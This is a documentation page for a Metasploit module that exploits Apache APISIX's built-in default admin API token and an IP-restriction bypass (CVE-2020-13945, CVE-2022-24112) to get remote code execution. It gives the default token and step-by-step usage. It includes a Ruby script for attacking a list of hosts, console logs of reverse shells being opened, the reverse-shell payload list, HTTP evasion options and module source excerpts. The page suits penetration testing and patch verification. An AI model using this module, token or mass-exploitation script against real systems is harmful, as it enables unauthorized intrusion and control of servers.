APISIX Admin API default access token RCE - Metasploit


This page contains detailed information about how to use the exploit/multi/http/apache_apisix_api_default_token_rce metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview


Name: APISIX Admin API default access token RCE
Module: exploit/multi/http/apache_apisix_api_default_token_rce
Source code: modules/exploits/multi/http/apache_apisix_api_default_token_rce.rb
Disclosure date: 2020-12-07
Last modification time: 2022-03-21 15:22:00 +0000
Supported architecture(s): cmd
Supported platform(s): Unix
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: CVE-2020-13945, CVE-2022-24112

Apache APISIX has a default, built-in API token edd1c9f034335f136f87ad84b625c8f1 that can be used to access all of the admin API, which leads to remote LUA code execution through the script parameter added in the 2.x version. This module also leverages another vulnerability to bypass the IP restriction plugin.

Module Ranking and Traits


Module Ranking:

  • excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.

Reliability:

  • repeatable-session: The module is expected to get a shell every time it runs.

Stability:

  • crash-safe: Module should not crash the service.

Side Effects:

  • ioc-in-logs: Module leaves signs of a compromise in a log file (Example: SQL injection data found in HTTP log).

Basic Usage


Using apache_apisix_api_default_token_rce against a single host

Normally, you can use exploit/multi/http/apache_apisix_api_default_token_rce this way:

msf > use exploit/multi/http/apache_apisix_api_default_token_rce
msf exploit(apache_apisix_api_default_token_rce) > show targets
    ... a list of targets ...
msf exploit(apache_apisix_api_default_token_rce) > set TARGET target-id
msf exploit(apache_apisix_api_default_token_rce) > show options
    ... show and set options ...
msf exploit(apache_apisix_api_default_token_rce) > exploit

Using apache_apisix_api_default_token_rce against multiple hosts

But it looks like this is a remote exploit module, which means you can also engage multiple hosts.

First, create a list of IPs you wish to exploit with this module. One IP per line.

Second, set up a background payload listener. This payload should be the same as the one your apache_apisix_api_default_token_rce will be using:

  1. Do: use exploit/multi/handler
  2. Do: set PAYLOAD [payload]
  3. Set other options required by the payload
  4. Do: set EXITONSESSION false
  5. Do: run -j

At this point, you should have a payload listening.

Next, create the following script. Notice you will probably need to modify the ip_list path, and payload options accordingly:

<ruby>
#
# Modify the path if necessary
#
ip_list = '/tmp/ip_list.txt'

File.open(ip_list, 'rb').each_line do |ip|
  print_status("Trying against #{ip}")
  run_single("use exploit/multi/http/apache_apisix_api_default_token_rce")
  run_single("set RHOST #{ip}")
  run_single("set DisablePayloadHandler true")

  #
  # Set a payload that's the same as the handler.
  # You might also need to add more run_single commands to configure other
  # payload options.
  #
  run_single("set PAYLOAD [payload name]")

  run_single("run")
end
</ruby>

Next, run the resource script in the console:

msf > resource [path-to-resource-script]

And finally, you should see that the exploit is trying against those hosts similar to the following MS08-067 example:

msf > resource /tmp/exploit_hosts.rc
[*] Processing /tmp/exploit_hosts.rc for ERB directives.
[*] resource (/tmp/exploit_hosts.rc)> Ruby Code (402 bytes)
[*] Trying against 192.168.1.80

RHOST => 192.168.1.80
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199

[*] 192.168.1.80:445 - Automatically detecting the target...
[*] 192.168.1.80:445 - Fingerprint: Windows XP - Service Pack 3 - lang:English
[*] 192.168.1.80:445 - Selected Target: Windows XP SP3 English (AlwaysOn NX)
[*] 192.168.1.80:445 - Attempting to trigger the vulnerability...
[*] Sending stage (957999 bytes) to 192.168.1.80
[*] Trying against 192.168.1.109
RHOST => 192.168.1.109
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199
[*] 192.168.1.109:445 - Automatically detecting the target...
[*] 192.168.1.109:445 - Fingerprint: Windows 2003 - Service Pack 2 - lang:Unknown
[*] 192.168.1.109:445 - We could not detect the language pack, defaulting to English
[*] 192.168.1.109:445 - Selected Target: Windows 2003 SP2 English (NX)
[*] 192.168.1.109:445 - Attempting to trigger the vulnerability...
[*] Meterpreter session 1 opened (192.168.1.199:4444 -> 192.168.1.80:1071) at 2016-03-02 19:32:49 -0600

[*] Sending stage (957999 bytes) to 192.168.1.109
[*] Meterpreter session 2 opened (192.168.1.199:4444 -> 192.168.1.109:4626) at 2016-03-02 19:32:52 -0600

Required Options


  • RHOSTS: The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit

Knowledge Base


Vulnerable Application


A default configuration of Apache APISIX (with default API key) is vulnerable to remote code execution.

The Apache APISIX has a default API token edd1c9f034335f136f87ad84b625c8f1 defined at conf/config.yaml and in its default configuration doesn't come with the ip-restriction plugin enabled. This allows any user to add a new route in its default configuration. By leveraging the feature script added in the 2.x version an user can add a route which leads to the remote LUA code execution (CVE-2020-13945). Even if ip-restriction is enabled, this exploit can leverage the vulnerability CVE-2022-24112 to circumvent that restriction.

This module was tested using a vulnerable docker container as available on the vulnhub project.

If we have the API token we can execute command using the parameter filter_func or script, and if there is an IP restriction enabled by the plugin ip-restriction we can bypass this restriction if the batch-requests plugin is also enabled.

Version and OS

This module has been tested successfully on Apache APISIX 2.2, 2.6, 2.11.0 and 2.12.1

Verification Steps


Confirm that functionality works:

  1. Start msfconsole
  2. use exploit/multi/http/apache_apisix_api_default_token_rce
  3. set RHOSTS and RPORT
  4. Confirm the target is vulnerable: check
  5. Confirm that the target is vulnerable: The target is vulnerable.
  6. It come already with a default payload cmd/unix/reverse_bash
  7. set LHOST and LPORT
  8. exploit
  9. Confirm you have now a cmd session

Options


TARGETURI (required)

The path to the APISIX routes controller (Default: /apisix).

API_KEY (required)

The admin API KEY for APISIX (Default: edd1c9f034335f136f87ad84b625c8f1).

ALLOWED_IP (required)

An IP address that is knew to be in the allowed list (Default: 127.0.0.1).

Scenarios


msf6 exploit(multi/http/apache_apisix_api_default_token_rce) > set payload cmd/unix/reverse_bash
payload => cmd/unix/reverse_bash
msf6 exploit(multi/http/apache_apisix_api_default_token_rce) > run rhosts=127.0.0.1 rport=9080 lhost=docker0 lport=4444

[*] Started reverse TCP handler on 172.17.0.1:4444 
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Checking component version to 127.0.0.1:9080
[+] The target appears to be vulnerable.
[*] Command shell session 1 opened (172.17.0.1:4444 -> 172.18.0.4:48162 ) at 2022-02-28 18:32:50 +0100
id

uid=99(nobody) gid=99(nobody) groups=99(nobody)
uname -a
Linux 58f5aba16de9 5.16.8-arch1-1 #1 SMP PREEMPT Tue, 08 Feb 2022 21:21:08 +0000 x86_64 x86_64 x86_64 GNU/Linux
exit
[*] 127.0.0.1 - Command shell session 1 closed.
msf6 exploit(multi/http/apache_apisix_api_default_token_rce) > 

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Msfconsole Usage


Here is how the multi/http/apache_apisix_api_default_token_rce exploit module looks in the msfconsole:

msf6 > use exploit/multi/http/apache_apisix_api_default_token_rce

[*] Using configured payload cmd/unix/reverse_bash
msf6 exploit(multi/http/apache_apisix_api_default_token_rce) > show info

       Name: APISIX Admin API default access token RCE
     Module: exploit/multi/http/apache_apisix_api_default_token_rce
   Platform: Unix
       Arch: cmd
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2020-12-07

Provided by:
  Heyder Andrade <[email protected]>
  YuanSheng Wang <[email protected]>

Module side effects:
 ioc-in-logs

Module stability:
 crash-safe

Module reliability:
 repeatable-session

Available targets:
  Id  Name
  --  ----
  0   Automatic

Check supported:
  Yes

Basic options:
  Name        Current Setting                   Required  Description
  ----        ---------------                   --------  -----------
  ALLOWED_IP  127.0.0.1                         yes       IP in the allowed list
  API_KEY     edd1c9f034335f136f87ad84b625c8f1  yes       Admin API KEY (Default: edd1c9f034335f136f87ad84b625c8f1)
  Proxies                                       no        A proxy chain of format type:host:port[,type:host:port][...]
  RHOSTS                                        yes       The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
  RPORT       80                                yes       The target port (TCP)
  SSL         false                             no        Negotiate SSL/TLS for outgoing connections
  TARGETURI   /apisix                           yes       Path to the APISIX DocumentRoot
  VHOST                                         no        HTTP server virtual host

Payload information:

Description:
  Apache APISIX has a default, built-in API token 
  edd1c9f034335f136f87ad84b625c8f1 that can be used to access all of 
  the admin API, which leads to remote LUA code execution through the 
  script parameter added in the 2.x version. This module also 
  leverages another vulnerability to bypass the IP restriction plugin.

References:
  https://nvd.nist.gov/vuln/detail/CVE-2020-13945
  https://nvd.nist.gov/vuln/detail/CVE-2022-24112
  https://github.com/apache/apisix/pull/2244
  https://seclists.org/oss-sec/2020/q4/187
  https://www.openwall.com/lists/oss-security/2022/02/11/3

Module Options


This is a complete list of options available in the multi/http/apache_apisix_api_default_token_rce exploit:

msf6 exploit(multi/http/apache_apisix_api_default_token_rce) > show options

Module options (exploit/multi/http/apache_apisix_api_default_token_rce):

   Name        Current Setting                   Required  Description
   ----        ---------------                   --------  -----------
   ALLOWED_IP  127.0.0.1                         yes       IP in the allowed list
   API_KEY     edd1c9f034335f136f87ad84b625c8f1  yes       Admin API KEY (Default: edd1c9f034335f136f87ad84b625c8f1)
   Proxies                                       no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                                        yes       The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
   RPORT       80                                yes       The target port (TCP)
   SSL         false                             no        Negotiate SSL/TLS for outgoing connections
   TARGETURI   /apisix                           yes       Path to the APISIX DocumentRoot
   VHOST                                         no        HTTP server virtual host

Payload options (cmd/unix/reverse_bash):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST                   yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port

Exploit target:

   Id  Name
   --  ----
   0   Automatic

Advanced Options


Here is a complete list of advanced options supported by the multi/http/apache_apisix_api_default_token_rce exploit:

msf6 exploit(multi/http/apache_apisix_api_default_token_rce) > show advanced

Module advanced options (exploit/multi/http/apache_apisix_api_default_token_rce):

   Name                    Current Setting                                            Required  Description
   ----                    ---------------                                            --------  -----------
   AutoCheck               true                                                       no        Run check before exploit
   ContextInformationFile                                                             no        The information file that contains context information
   DOMAIN                  WORKSTATION                                                yes       The domain to use for Windows authentication
   DigestAuthIIS           true                                                       no        Conform to IIS, should work for most servers. Only set to false for non-IIS servers
   DisablePayloadHandler   false                                                      no        Disable the handler code for the selected payload
   EnableContextEncoding   false                                                      no        Use transient context when encoding payloads
   FingerprintCheck        true                                                       no        Conduct a pre-exploit fingerprint verification
   ForceExploit            false                                                      no        Override check result
   HttpClientTimeout                                                                  no        HTTP connection and receive timeout
   HttpPassword                                                                       no        The HTTP password to specify for authentication
   HttpRawHeaders                                                                     no        Path to ERB-templatized raw headers to append to existing headers
   HttpTrace               false                                                      no        Show the raw HTTP requests and responses
   HttpTraceColors         red/blu                                                    no        HTTP request and response colors for HttpTrace (unset to disable)
   HttpTraceHeadersOnly    false                                                      no        Show HTTP headers only in HttpTrace
   HttpUsername                                                                       no        The HTTP username to specify for authentication
   SSLVersion              Auto                                                       yes       Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SS
                                                                                                L23, SSL3, TLS1, TLS1.1, TLS1.2)
   UserAgent               Mozilla/5.0 (Macintosh; Intel Mac OS X 12.2; rv:97.0) Gec  no        The User-Agent header to use for all requests
                           ko/20100101 Firefox/97.0
   VERBOSE                 false                                                      no        Enable detailed status messages
   WORKSPACE                                                                          no        Specify the workspace for this module
   WfsDelay                2                                                          no        Additional delay in seconds to wait for a session

Payload advanced options (cmd/unix/reverse_bash):

   Name                        Current Setting  Required  Description
   ----                        ---------------  --------  -----------
   AutoRunScript                                no        A script to run automatically on session creation.
   AutoVerifySession           true             yes       Automatically verify and drop invalid sessions
   CommandShellCleanupCommand                   no        A command to run before the session is closed
   CreateSession               true             no        Create a new session for every successful login
   InitialAutoRunScript                         no        An initial script to run on session creation (before AutoRunScript)
   ReverseAllowProxy           false            yes       Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
   ReverseListenerBindAddress                   no        The specific IP address to bind to on the local system
   ReverseListenerBindPort                      no        The port to bind to on the local system if different from LPORT
   ReverseListenerComm                          no        The specific communication channel to use for this listener
   ReverseListenerThreaded     false            yes       Handle every connection in a new thread (experimental)
   StagerRetryCount            10               no        The number of times the stager should retry if the first connect fails
   StagerRetryWait             5                no        Number of seconds to wait for the stager between reconnect attempts
   VERBOSE                     false            no        Enable detailed status messages
   WORKSPACE                                    no        Specify the workspace for this module

Exploit Targets


Here is a list of targets (platforms and systems) which the multi/http/apache_apisix_api_default_token_rce module can exploit:

msf6 exploit(multi/http/apache_apisix_api_default_token_rce) > show targets

Exploit targets:

   Id  Name
   --  ----
   0   Automatic

Compatible Payloads


This is a list of possible payloads which can be delivered and executed on the target system using the multi/http/apache_apisix_api_default_token_rce exploit:

msf6 exploit(multi/http/apache_apisix_api_default_token_rce) > show payloads

Compatible Payloads
===================

   #   Name                                                  Disclosure Date  Rank    Check  Description
   -   ----                                                  ---------------  ----    -----  -----------
   0   payload/cmd/unix/bind_awk                                              normal  No     Unix Command Shell, Bind TCP (via AWK)
   1   payload/cmd/unix/bind_busybox_telnetd                                  normal  No     Unix Command Shell, Bind TCP (via BusyBox telnetd)
   2   payload/cmd/unix/bind_jjs                                              normal  No     Unix Command Shell, Bind TCP (via jjs)
   3   payload/cmd/unix/bind_lua                                              normal  No     Unix Command Shell, Bind TCP (via Lua)
   4   payload/cmd/unix/bind_netcat                                           normal  No     Unix Command Shell, Bind TCP (via netcat)
   5   payload/cmd/unix/bind_netcat_gaping                                    normal  No     Unix Command Shell, Bind TCP (via netcat -e)
   6   payload/cmd/unix/bind_netcat_gaping_ipv6                               normal  No     Unix Command Shell, Bind TCP (via netcat -e) IPv6
   7   payload/cmd/unix/bind_nodejs                                           normal  No     Unix Command Shell, Bind TCP (via nodejs)
   8   payload/cmd/unix/bind_perl                                             normal  No     Unix Command Shell, Bind TCP (via Perl)
   9   payload/cmd/unix/bind_perl_ipv6                                        normal  No     Unix Command Shell, Bind TCP (via perl) IPv6
   10  payload/cmd/unix/bind_r                                                normal  No     Unix Command Shell, Bind TCP (via R)
   11  payload/cmd/unix/bind_ruby                                             normal  No     Unix Command Shell, Bind TCP (via Ruby)
   12  payload/cmd/unix/bind_ruby_ipv6                                        normal  No     Unix Command Shell, Bind TCP (via Ruby) IPv6
   13  payload/cmd/unix/bind_socat_udp                                        normal  No     Unix Command Shell, Bind UDP (via socat)
   14  payload/cmd/unix/bind_stub                                             normal  No     Unix Command Shell, Bind TCP (stub)
   15  payload/cmd/unix/bind_zsh                                              normal  No     Unix Command Shell, Bind TCP (via Zsh)
   16  payload/cmd/unix/generic                                               normal  No     Unix Command, Generic Command Execution
   17  payload/cmd/unix/pingback_bind                                         normal  No     Unix Command Shell, Pingback Bind TCP (via netcat)
   18  payload/cmd/unix/pingback_reverse                                      normal  No     Unix Command Shell, Pingback Reverse TCP (via netcat)
   19  payload/cmd/unix/python/meterpreter/bind_tcp                           normal  No     Python Exec, Python Meterpreter, Python Bind TCP Stager
   20  payload/cmd/unix/python/meterpreter/bind_tcp_uuid                      normal  No     Python Exec, Python Meterpreter, Python Bind TCP Stager with UUID Support
   21  payload/cmd/unix/python/meterpreter/reverse_http                       normal  No     Python Exec, Python Meterpreter, Python Reverse HTTP Stager
   22  payload/cmd/unix/python/meterpreter/reverse_https                      normal  No     Python Exec, Python Meterpreter, Python Reverse HTTPS Stager
   23  payload/cmd/unix/python/meterpreter/reverse_tcp                        normal  No     Python Exec, Python Meterpreter, Python Reverse TCP Stager
   24  payload/cmd/unix/python/meterpreter/reverse_tcp_ssl                    normal  No     Python Exec, Python Meterpreter, Python Reverse TCP SSL Stager
   25  payload/cmd/unix/python/meterpreter/reverse_tcp_uuid                   normal  No     Python Exec, Python Meterpreter, Python Reverse TCP Stager with UUID Support
   26  payload/cmd/unix/python/meterpreter_bind_tcp                           normal  No     Python Exec, Python Meterpreter Shell, Bind TCP Inline
   27  payload/cmd/unix/python/meterpreter_reverse_http                       normal  No     Python Exec, Python Meterpreter Shell, Reverse HTTP Inline
   28  payload/cmd/unix/python/meterpreter_reverse_https                      normal  No     Python Exec, Python Meterpreter Shell, Reverse HTTPS Inline
   29  payload/cmd/unix/python/meterpreter_reverse_tcp                        normal  No     Python Exec, Python Meterpreter Shell, Reverse TCP Inline
   30  payload/cmd/unix/python/pingback_bind_tcp                              normal  No     Python Exec, Python Pingback, Bind TCP (via python)
   31  payload/cmd/unix/python/pingback_reverse_tcp                           normal  No     Python Exec, Python Pingback, Reverse TCP (via python)
   32  payload/cmd/unix/python/shell_bind_tcp                                 normal  No     Python Exec, Command Shell, Bind TCP (via python)
   33  payload/cmd/unix/python/shell_reverse_tcp                              normal  No     Python Exec, Command Shell, Reverse TCP (via python)
   34  payload/cmd/unix/python/shell_reverse_tcp_ssl                          normal  No     Python Exec, Command Shell, Reverse TCP SSL (via python)
   35  payload/cmd/unix/python/shell_reverse_udp                              normal  No     Python Exec, Command Shell, Reverse UDP (via python)
   36  payload/cmd/unix/reverse                                               normal  No     Unix Command Shell, Double Reverse TCP (telnet)
   37  payload/cmd/unix/reverse_awk                                           normal  No     Unix Command Shell, Reverse TCP (via AWK)
   38  payload/cmd/unix/reverse_bash                                          normal  No     Unix Command Shell, Reverse TCP (/dev/tcp)
   39  payload/cmd/unix/reverse_bash_telnet_ssl                               normal  No     Unix Command Shell, Reverse TCP SSL (telnet)
   40  payload/cmd/unix/reverse_bash_udp                                      normal  No     Unix Command Shell, Reverse UDP (/dev/udp)
   41  payload/cmd/unix/reverse_jjs                                           normal  No     Unix Command Shell, Reverse TCP (via jjs)
   42  payload/cmd/unix/reverse_ksh                                           normal  No     Unix Command Shell, Reverse TCP (via Ksh)
   43  payload/cmd/unix/reverse_lua                                           normal  No     Unix Command Shell, Reverse TCP (via Lua)
   44  payload/cmd/unix/reverse_ncat_ssl                                      normal  No     Unix Command Shell, Reverse TCP (via ncat)
   45  payload/cmd/unix/reverse_netcat                                        normal  No     Unix Command Shell, Reverse TCP (via netcat)
   46  payload/cmd/unix/reverse_netcat_gaping                                 normal  No     Unix Command Shell, Reverse TCP (via netcat -e)
   47  payload/cmd/unix/reverse_nodejs                                        normal  No     Unix Command Shell, Reverse TCP (via nodejs)
   48  payload/cmd/unix/reverse_openssl                                       normal  No     Unix Command Shell, Double Reverse TCP SSL (openssl)
   49  payload/cmd/unix/reverse_perl                                          normal  No     Unix Command Shell, Reverse TCP (via Perl)
   50  payload/cmd/unix/reverse_perl_ssl                                      normal  No     Unix Command Shell, Reverse TCP SSL (via perl)
   51  payload/cmd/unix/reverse_php_ssl                                       normal  No     Unix Command Shell, Reverse TCP SSL (via php)
   52  payload/cmd/unix/reverse_python                                        normal  No     Unix Command Shell, Reverse TCP (via Python)
   53  payload/cmd/unix/reverse_python_ssl                                    normal  No     Unix Command Shell, Reverse TCP SSL (via python)
   54  payload/cmd/unix/reverse_r                                             normal  No     Unix Command Shell, Reverse TCP (via R)
   55  payload/cmd/unix/reverse_ruby                                          normal  No     Unix Command Shell, Reverse TCP (via Ruby)
   56  payload/cmd/unix/reverse_ruby_ssl                                      normal  No     Unix Command Shell, Reverse TCP SSL (via Ruby)
   57  payload/cmd/unix/reverse_socat_udp                                     normal  No     Unix Command Shell, Reverse UDP (via socat)
   58  payload/cmd/unix/reverse_ssh                                           normal  No     Unix Command Shell, Reverse TCP SSH
   59  payload/cmd/unix/reverse_ssl_double_telnet                             normal  No     Unix Command Shell, Double Reverse TCP SSL (telnet)
   60  payload/cmd/unix/reverse_stub                                          normal  No     Unix Command Shell, Reverse TCP (stub)
   61  payload/cmd/unix/reverse_tclsh                                         normal  No     Unix Command Shell, Reverse TCP (via Tclsh)
   62  payload/cmd/unix/reverse_zsh                                           normal  No     Unix Command Shell, Reverse TCP (via Zsh)
   63  payload/generic/custom                                                 normal  No     Custom Payload
   64  payload/generic/shell_bind_tcp                                         normal  No     Generic Command Shell, Bind TCP Inline
   65  payload/generic/shell_reverse_tcp                                      normal  No     Generic Command Shell, Reverse TCP Inline
   66  payload/generic/ssh/interact                                           normal  No     Interact with Established SSH Connection

Evasion Options


Here is the full list of possible evasion options supported by the multi/http/apache_apisix_api_default_token_rce exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 exploit(multi/http/apache_apisix_api_default_token_rce) > show evasion

Module evasion options:

   Name                          Current Setting  Required  Description
   ----                          ---------------  --------  -----------
   HTTP::header_folding          false            no        Enable folding of HTTP headers
   HTTP::method_random_case      false            no        Use random casing for the HTTP method
   HTTP::method_random_invalid   false            no        Use a random invalid, HTTP method for request
   HTTP::method_random_valid     false            no        Use a random, but valid, HTTP method for request
   HTTP::pad_fake_headers        false            no        Insert random, fake headers into the HTTP request
   HTTP::pad_fake_headers_count  0                no        How many fake headers to insert into the HTTP request
   HTTP::pad_get_params          false            no        Insert random, fake query string variables into the request
   HTTP::pad_get_params_count    16               no        How many fake query string variables to insert into the request
   HTTP::pad_method_uri_count    1                no        How many whitespace characters to use between the method and uri
   HTTP::pad_method_uri_type     space            no        What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
   HTTP::pad_post_params         false            no        Insert random, fake post variables into the request
   HTTP::pad_post_params_count   16               no        How many fake post variables to insert into the request
   HTTP::pad_uri_version_count   1                no        How many whitespace characters to use between the uri and version
   HTTP::pad_uri_version_type    space            no        What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
   HTTP::uri_dir_fake_relative   false            no        Insert fake relative directories into the uri
   HTTP::uri_dir_self_reference  false            no        Insert self-referential directories into the uri
   HTTP::uri_encode_mode         hex-normal       no        Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u-all, u-random)
   HTTP::uri_fake_end            false            no        Add a fake end of URI (eg: /%20HTTP/1.0/../../)
   HTTP::uri_fake_params_start   false            no        Add a fake start of params to the URI (eg: /%3fa=b/../)
   HTTP::uri_full_url            false            no        Use the full URL for all HTTP requests
   HTTP::uri_use_backslashes     false            no        Use back slashes instead of forward slashes in the uri
   HTTP::version_random_invalid  false            no        Use a random invalid, HTTP version for request
   HTTP::version_random_valid    false            no        Use a random, but valid, HTTP version for request

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Error Messages


This module may fail with the following error messages:

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

The batch-requests plugin is not enabled


Here is a relevant code snippet related to the "The batch-requests plugin is not enabled" error message:

77:	        }
78:	      ]
79:	      res = batch_request(batch_body(pipeline))
80:	
81:	    else
82:	      vprint_error('The batch-requests plugin is not enabled')
83:	
84:	      vprint_good('There is direct access to the routes using the provided token') if direct_access?
85:	
86:	      res = apisix_request({
87:	        'uri' => normalize_uri(target_uri.path, Rex::Text.rand_text_alpha_lower(6)),

Unable to determine which web server is running


Here is a relevant code snippet related to the "Unable to determine which web server is running" error message:

88:	        'method' => 'GET'
89:	      })
90:	
91:	    end
92:	    unless res && res.headers.key?('Server')
93:	      return Exploit::CheckCode::Unknown('Unable to determine which web server is running')
94:	    end
95:	
96:	    res.headers['Server'].match(%r{(.*)/([\d|.]+)$})
97:	
98:	    server = Regexp.last_match(1) || nil

A vulnerable version if APISIX server is not running


Here is a relevant code snippet related to the "A vulnerable version if APISIX server is not running" error message:

100:	
101:	    if server && server.match(/APISIX/)
102:	      vprint_status("Found an #{server} #{version} http server header")
103:	      return Exploit::CheckCode::Appears if version > Rex::Version.new('2')
104:	    end
105:	    return Exploit::CheckCode::Safe('A vulnerable version if APISIX server is not running')
106:	  end
107:	
108:	  def exploit
109:	    # batch request is the preferred method because it bypass the ip-restriction plugin
110:	    if batch_request_enabled?

Unable to delete the route


Here is a relevant code snippet related to the "Unable to delete the route" error message:

135:	      }
136:	    ]
137:	    vprint_status("Deleting route #{@payload_uri}")
138:	    # remove the route
139:	    res = batch_request(batch_body(pipeline))
140:	    vprint_error('Unable to delete the route') unless res&.code == 200
141:	  end
142:	
143:	  def apisix_request(params = {})
144:	    params.merge!({
145:	      'ctype' => 'application/json',

Unable to create route


Here is a relevant code snippet related to the "Unable to create route" error message:

232:	          'body' => JSON.dump(data)
233:	        }
234:	      ]
235:	      # add the route
236:	      res = batch_request(batch_body(pipeline))
237:	      vprint_error('Unable to create route') unless res.code == 200
238:	    else
239:	      params = {
240:	        'method' => 'PUT',
241:	        'uri' => normalize_uri(target_uri.path, '/admin/routes/index'),
242:	        'data' => JSON.dump(data)

Connection failed


Here is a relevant code snippet related to the "Connection failed" error message:

260:	    res = apisix_request({
261:	      'uri' => normalize_uri(target_uri.path, '/batch-requests'),
262:	      'method' => 'POST'
263:	    })
264:	
265:	    fail_with(Failure::Unreachable, 'Connection failed') if res.nil?
266:	    return false if res.code == 404
267:	
268:	    true
269:	  end
270:	

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References


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Authors


  • Heyder Andrade <eu[at]heyderandrade.org>
  • YuanSheng Wang <membphis[at]gmail.com>

Version


This page has been produced using Metasploit Framework version 6.2.26-dev. For more modules, visit the Metasploit Module Library.

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